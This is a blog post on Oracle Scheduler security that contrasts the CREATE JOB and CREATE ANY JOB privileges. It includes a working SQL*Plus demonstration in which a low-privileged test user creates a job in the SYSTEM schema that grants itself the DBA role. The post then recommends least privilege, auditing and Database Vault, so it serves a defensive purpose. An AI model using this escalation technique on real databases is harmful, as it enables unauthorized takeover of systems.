Thursday, July 10, 2014

Oracle Scheduler Security - Part 1

Similar to cron jobs in Linux, you can schedule jobs in Oracle database in order to execute it once or periodically. (You can actually manage jobs, schedules, programs, credentials using dbms_scheduler package. In this post, we will focus only on jobs.) As a general security guideline, it is a best practice to grant the minimum privileges required in order to get the work done (aka principal of least privilege). Granting excessive privileges could lead to misuse/unauthorized use of the system by privileged users (aka insider attackers). Further, if an attacker gains access to an account with excessive privileges, they could do serious damages to the system. This post focuses on the risks of excessive scheduler privileges and techniques to mitigate/reduce such risks.

Users who need to schedule jobs should be granted CREATE JOB privilege whereas users who need to administer (create, start, stop, etc.) scheduler jobs should be granted CREATE ANY JOB privilege. CREATE JOB privilege allows to create jobs only in the users schema. For example, if bob is granted CREATE JOB privilege, he can create any number of jobs on his schema, but he cannot create jobs in some other schema. CREATE ANY JOB is a very powerful privilege. It allows to create jobs in any scheme other than SYS. Care should be taken when granting CREATE ANY JOB as it can potentially be misused to escalate privileges. For example, a user, who is granted CREATE ANY JOB privilege,  can create a job in the SYSTEM schema and grant excessive privilege to himself. Please note when you create a job in a schema X, it is run as user X (as Oracle does not have distinction between schema and user).

How can we exploit CREATE ANY JOB privilege? Let me show you a very basic example of how it can be exploited to escalate privileges:
We connect as SYS and create user u1:
SQL> conn / as sysdba
SQL> create user u1 identified by p1;
User created.

Grant CREATE SESSION privilege to u1 so that it can login to the database:
SQL> grant create session to u1;
Grant succeeded.

Now let's check what privileges and roles are granted to u1:. As you can see, there are no roles currently granted to u1:

SQL> select granted_role from dba_role_privs where grantee = 'U1';
no rows selected
SQL> select privilege from dba_sys_privs where grantee = 'U1';


Now SYS grants excessive privilege CREATE ANY JOB to u1:
SQL> grant create any job to u1;
Grant succeeded.

Now Let's see how u1 misuses this powerful privilege to grant himself the DBA role which very powerful.
SQL> conn u1/p1
SQL> select granted_role from user_role_privs where username = 'U1';
no rows selected

u1 creates the following job in SYSTEM schema so that he can execute the job as SYSTEM user. This job simply executes a PL/SQL block to grant DBA role to himself!
SQL> begin
  2    dbms_scheduler.create_job (
  3      job_name     => 'system.exploit',
  4      job_type     => 'PLSQL_BLOCK',
  5      job_action   => 'begin execute immediate ''grant dba to u1''; end;'
  6    );
  8    dbms_scheduler.run_job (
  9      job_name     => 'system.exploit'
 10    );
 11  end;
 12  /
PL/SQL procedure successfully completed.

Now let's check what roles u1 has. As you can see, now u1 has the DBA role!
SQL> select granted_role from user_role_privs where username = 'U1';


Doing the clean up for this simple test:
SQL> conn / as sysdba
SQL> drop user u1 cascade;
User dropped.
SQL> exec dbms_scheduler.drop_job('system.exploit');
PL/SQL procedure successfully completed.

As you can see, granting CREATE ANY JOB privilege can have dire consequences. Therefore, it should be granted to only those who absolutely needs it to perform their organizational duties.

It is a good practice to audit these privileged users in order to identify misuses and also to act as deterrence to act maliciously.

CREATE ANY JOB allows to create jobs in any schema. CREATE JOB allows to create jobs only in the user's schema. What if there are many DBA's in an organization and we want to allow each DBA to administer jobs in a set of schemas (not all)? How can a security administrator enforce such a requirement? Hmm.. Oracle does not provide schema level privileges by default, but you can use Database Vault security option to do that! After granting CREATE ANY JOB privilege to users, the Database Vault administrator can authorize only a selected set of schemas on which each user can administer jobs using the API DBMS_MACADM.AUTHORIZE_SCHEDULER_USER(username, schema_name).

There is more to scheduler jobs. We will be looking at running external programs as scheduler jobs and also about scheduler object attributes in another post.

No comments: